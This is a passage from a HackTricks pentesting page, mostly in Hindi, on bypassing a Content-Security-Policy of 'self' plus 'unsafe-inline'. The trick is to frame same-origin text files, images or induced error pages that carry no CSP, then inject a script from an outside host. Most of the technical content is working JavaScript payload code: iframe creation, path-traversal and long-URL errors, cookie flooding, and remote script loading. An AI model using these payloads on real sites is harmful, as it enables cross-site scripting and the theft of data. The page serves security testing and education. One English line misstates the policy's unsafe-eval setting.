CSP bypass: self + 'unsafe-inline' with Iframes

Support HackTricks

एक कॉन्फ़िगरेशन जैसे:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Prohibits usage of any functions that execute code transmitted as a string. For example: eval, setTimeout, setInterval will all be blocked because of the setting unsafe-eval

Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS

Via Text & Images

यह देखा गया है कि आधुनिक ब्राउज़र छवियों और पाठों को उनके प्रदर्शन को बढ़ाने के लिए HTML में परिवर्तित करते हैं (जैसे, पृष्ठभूमि सेट करना, केंद्रित करना, आदि)। परिणामस्वरूप, यदि किसी छवि या पाठ फ़ाइल, जैसे favicon.ico या robots.txt, को iframe के माध्यम से खोला जाता है, तो इसे HTML के रूप में प्रस्तुत किया जाता है। विशेष रूप से, इन पृष्ठों में अक्सर CSP हेडर की कमी होती है और इनमें X-Frame-Options शामिल नहीं हो सकते हैं, जिससे इनसे मनमाने JavaScript का निष्पादन संभव हो जाता है:

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Via Errors

इसी तरह, त्रुटि प्रतिक्रियाएँ, जैसे कि टेक्स्ट फ़ाइलें या चित्र, आमतौर पर CSP हेडर के बिना आती हैं और X-Frame-Options को छोड़ सकती हैं। त्रुटियों को एक iframe के भीतर लोड करने के लिए प्रेरित किया जा सकता है, जिससे निम्नलिखित क्रियाएँ संभव होती हैं:

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

किसी भी उल्लेखित परिदृश्य को ट्रिगर करने के बाद, iframe के भीतर JavaScript निष्पादन इस प्रकार संभव है:

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

संदर्भ

HackTricks का समर्थन करें

Last updated